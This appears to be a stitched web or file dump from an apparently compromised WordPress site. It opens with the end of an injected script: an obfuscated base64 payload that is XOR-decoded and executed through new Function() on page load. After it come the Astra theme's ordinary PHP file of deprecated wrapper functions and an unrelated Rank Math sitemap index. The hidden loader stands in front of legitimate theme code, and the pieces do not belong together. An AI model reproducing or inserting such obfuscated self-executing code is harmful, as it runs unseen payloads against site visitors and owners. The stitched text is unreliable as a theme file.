2liaS8+PiInLS86JyEgYSQ9ISBpZ3URIyo4NChgOicjKyE7OnN7fn5+dREjKjg0KGAhICIhLypzKDsgLTonISBmZzU6PDc1ESIgKiRmBB0BAGA+Lzw9K2YRIyo4NChgPCs9PiEgPSsaKzY6Z2d1My0vOi0mZitnNREhIz0lNGYrZ3UzM3URIyo4NChgISArPDwhPHMRIyo4NChgISA6JyMrITs6cyg7IC06JyEgZmc1ESEjPSU0ZiArOW4LPDwhPGZnZ3UzdREjKjg0KGA9KyAqZgQdAQBgPTo8JyApJyg3ZhE7IDwgZ2d1M2d1Myg7IC06JyEgbhE2Oi80PzggZhE7Izw+PDk4ZzUnKGYROyM8Pjw5OHBzESEmJC03LGAiKyApOiZnPCs6Ozwgbh48ISMnPStgPCs9ISI4K2YgOyIiZ3U4LzxuESUiKjc/JyFzNSQ9ISA8Pi10aXxgfmliIys6JiEqdGkrOiYRLS8iImliPi88LyM9dBU1OiF0ETw6LC03YiovOi90aX42aWURNiEnKDNiaSIvOis9OmkTYicqdH8zdTwrOjs8IG4RNCo7Ij8gLWYRISYkLTcsFRE7Izw+PDk4E2IRJSIqNz8nIWdgOiYrIGYoOyAtOichIGYRLToqImc1OC88bhEhNCA/cxEtOioiaGgRLToqImA8Kz07IjpxESk0JTwrOmYRLToqImA8Kz07IjpndGlpdScoZhEhNCA/ZzwrOjs8IG4RITQgP2A8Kz4iLy0rZmESYWVqYWJpaWd1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNnYC0vOi0mZig7IC06JyEgZmc1PCs6OzwgbhE2Oi80PzggZhE7Izw+PDk4ZX9ndTNndTMoOyAtOichIG4RIT4gNCYgZhEoIjQ/J2c1OC88bhEpJCU3cyohLTsjKyA6YC08Ky86KwsiKyMrIDpmaT0tPCc+OmlndREpJCU3YD08LXMRKCI0PydlaWEvPidgPiY+cT1zaWUROSApJjtlaWgROHNpZQMvOiZgKCIhITxmCi86K2AgITlmZ2F4fn5+fmd1ESkkJTdgLz03IC1zOjw7K3VmKiEtOyMrIDpgJisvKjIyKiEtOyMrIDpgLCEqN2dgLz4+KyAqDSYnIipmESkkJTdndTMRNjovND84IGZ+Z2A6JisgZig7IC06JyEgZhEoIjQ/J2c1JyhmESgiND8nZxEhPiA0JiBmESgiND8nZ3UzZ3UzZ2ZndQ=='),_0x1dabbb6a0bcf=78,_0x69e3e62ffe44=new Uint8Array(_0xbe33951e9830['length']),_0x5965ef03c0f3=0;for(;_0x5965ef03c0f3<_0xbe33951e9830['length'];_0x5965ef03c0f3++)_0x69e3e62ffe44[_0x5965ef03c0f3]=_0xbe33951e9830['charCodeAt'](_0x5965ef03c0f3)^_0x1dabbb6a0bcf;(new Function(new TextDecoder()['decode'](_0x69e3e62ffe44)))()}();
</script>
/**
 * Deprecated Functions of Astra Theme.
 *
 * @package     Astra
 * @author      Astra
 * @copyright   Copyright (c) 2020, Astra
 * @link        https://wpastra.com/
 * @since       Astra 1.0.23
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Deprecating footer_menu_static_css function.
 *
 * Footer menu specific static CSS function.
 *
 * @since 3.7.4
 * @deprecated footer_menu_static_css() Use astra_footer_menu_static_css()
 * @see astra_footer_menu_static_css()
 *
 * @return string Parsed CSS
 */
function footer_menu_static_css() {
	_deprecated_function( __FUNCTION__, '3.7.4', 'astra_footer_menu_static_css()' );
	return astra_footer_menu_static_css();
}

/**
 * Deprecating is_support_footer_widget_right_margin function.
 *
 * Backward managing function based on flag - 'support-footer-widget-right-margin' which fixes right margin issue in builder widgets.
 *
 * @since 3.7.4
 * @deprecated is_support_footer_widget_right_margin() Use astra_support_footer_widget_right_margin()
 * @see astra_support_footer_widget_right_margin()
 *
 * @return bool true|false
 */
function is_support_footer_widget_right_margin() {
	_deprecated_function( __FUNCTION__, '3.7.4', 'astra_support_footer_widget_right_margin()' );
	return astra_support_footer_widget_right_margin();
}

/**
 * Deprecating prepare_button_defaults function.
 *
 * Default configurations for builder button components.
 *
 * @since 3.7.4
 * @deprecated prepare_button_defaults() Use astra_prepare_button_defaults()
 * @param array  $defaults Button default configs.
 * @param string $index builder button component index.
 * @see astra_prepare_button_defaults()
 *
 * @return array
 */
function prepare_button_defaults( $defaults, $index ) {
	_deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_button_defaults()' );
	return astra_prepare_button_defaults( $defaults, absint( $index ) );
}

/**
 * Deprecating prepare_html_defaults function.
 *
 * Default configurations for builder HTML components.
 *
 * @since 3.7.4
 * @deprecated prepare_html_defaults() Use astra_prepare_html_defaults()
 * @param array  $defaults HTML default configs.
 * @param string $index builder HTML component index.
 * @see astra_prepare_html_defaults()
 *
 * @return array
 */
function prepare_html_defaults( $defaults, $index ) {
	_deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_html_defaults()' );
	return astra_prepare_html_defaults( $defaults, absint( $index ) );
}

/**
 * Deprecating prepare_social_icon_defaults function.
 *
 * Default configurations for builder Social Icon components.
 *
 * @since 3.7.4
 * @deprecated prepare_social_icon_defaults() Use astra_prepare_social_icon_defaults()
 * @param array  $defaults Social Icon default configs.
 * @param string $index builder Social Icon component index.
 * @see astra_prepare_social_icon_defaults()
 *
 * @return array
 */
function prepare_social_icon_defaults( $defaults, $index ) {
	_deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_social_icon_defaults()' );
	return astra_prepare_social_icon_defaults( $defaults, absint( $index ) );
}

/**
 * Deprecating prepare_widget_defaults function.
 *
 * Default configurations for builder Widget components.
 *
 * @since 3.7.4
 * @deprecated prepare_widget_defaults() Use astra_prepare_widget_defaults()
 * @param array  $defaults Widget default configs.
 * @param string $index builder Widget component index.
 * @see astra_prepare_widget_defaults()
 *
 * @return array
 */
function prepare_widget_defaults( $defaults, $index ) {
	_deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_widget_defaults()' );
	return astra_prepare_widget_defaults( $defaults, absint( $index ) );
}

/**
 * Deprecating prepare_menu_defaults function.
 *
 * Default configurations for builder Menu components.
 *
 * @since 3.7.4
 * @deprecated prepare_menu_defaults() Use astra_prepare_menu_defaults()
 * @param array  $defaults Menu default configs.
 * @param string $index builder Menu component index.
 * @see astra_prepare_menu_defaults()
 *
 * @return array
 */
function prepare_menu_defaults( $defaults, $index ) {
	_deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_menu_defaults()' );
	return astra_prepare_menu_defaults( $defaults, absint( $index ) );
}

/**
 * Deprecating prepare_divider_defaults function.
 *
 * Default configurations for builder Divider components.
 *
 * @since 3.7.4
 * @deprecated prepare_divider_defaults() Use astra_prepare_divider_defaults()
 * @param array  $defaults Divider default configs.
 * @param string $index builder Divider component index.
 * @see astra_prepare_divider_defaults()
 *
 * @return array
 */
function prepare_divider_defaults( $defaults, $index ) {
	_deprecated_function( __FUNCTION__, '3.7.4', 'astra_prepare_divider_defaults()' );
	return astra_prepare_divider_defaults( $defaults, absint( $index ) );
}

/**
 * Deprecating is_astra_pagination_enabled function.
 *
 * Checking if Astra's pagination enabled.
 *
 * @since 3.7.4
 * @deprecated is_astra_pagination_enabled() Use astra_check_pagination_enabled()
 * @see astra_check_pagination_enabled()
 *
 * @return bool true|false
 */
function is_astra_pagination_enabled() {
	_deprecated_function( __FUNCTION__, '3.7.4', 'astra_check_pagination_enabled()' );
	return astra_check_pagination_enabled();
}

/**
 * Deprecating is_current_post_comment_enabled function.
 *
 * Checking if current post's comment enabled and comment section is open.
 *
 * @since 3.7.4
 * @deprecated is_current_post_comment_enabled() Use astra_check_current_post_comment_enabled()
 * @see astra_check_current_post_comment_enabled()
 *
 * @return bool true|false
 */
function is_current_post_comment_enabled() {
	_deprecated_function( __FUNCTION__, '3.7.4', 'astra_check_current_post_comment_enabled()' );
	return astra_check_current_post_comment_enabled();
}

/**
 * Deprecating ast_load_preload_local_fonts function.
 *
 * Preload Google Fonts - Feature of self-hosting font.
 *
 * @since 3.7.4
 * @deprecated ast_load_preload_local_fonts() Use astra_load_preload_local_fonts()
 * @param string $google_font_url Google Font URL generated by customizer config.
 * @see astra_load_preload_local_fonts()
 *
 * @return string
 */
function ast_load_preload_local_fonts( $google_font_url ) {
	_deprecated_function( __FUNCTION__, '3.7.4', 'astra_load_preload_local_fonts()' );
	return astra_load_preload_local_fonts( $google_font_url );
}

/**
 * Deprecating ast_get_webfont_url function.
 *
 * Getting webfont based Google font URL.
 *
 * @since 3.7.4
 * @deprecated ast_get_webfont_url() Use astra_get_webfont_url()
 * @param string $google_font_url Google Font URL generated by customizer config.
 * @see astra_get_webfont_url()
 *
 * @return string
 */
function ast_get_webfont_url( $google_font_url ) {
	_deprecated_function( __FUNCTION__, '3.7.4', 'astra_get_webfont_url()' );
	return astra_get_webfont_url( $google_font_url );
}
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//hink.studio/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://hink.studio/page-sitemap.xml</loc>
		<lastmod>2025-05-15T16:57:40+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->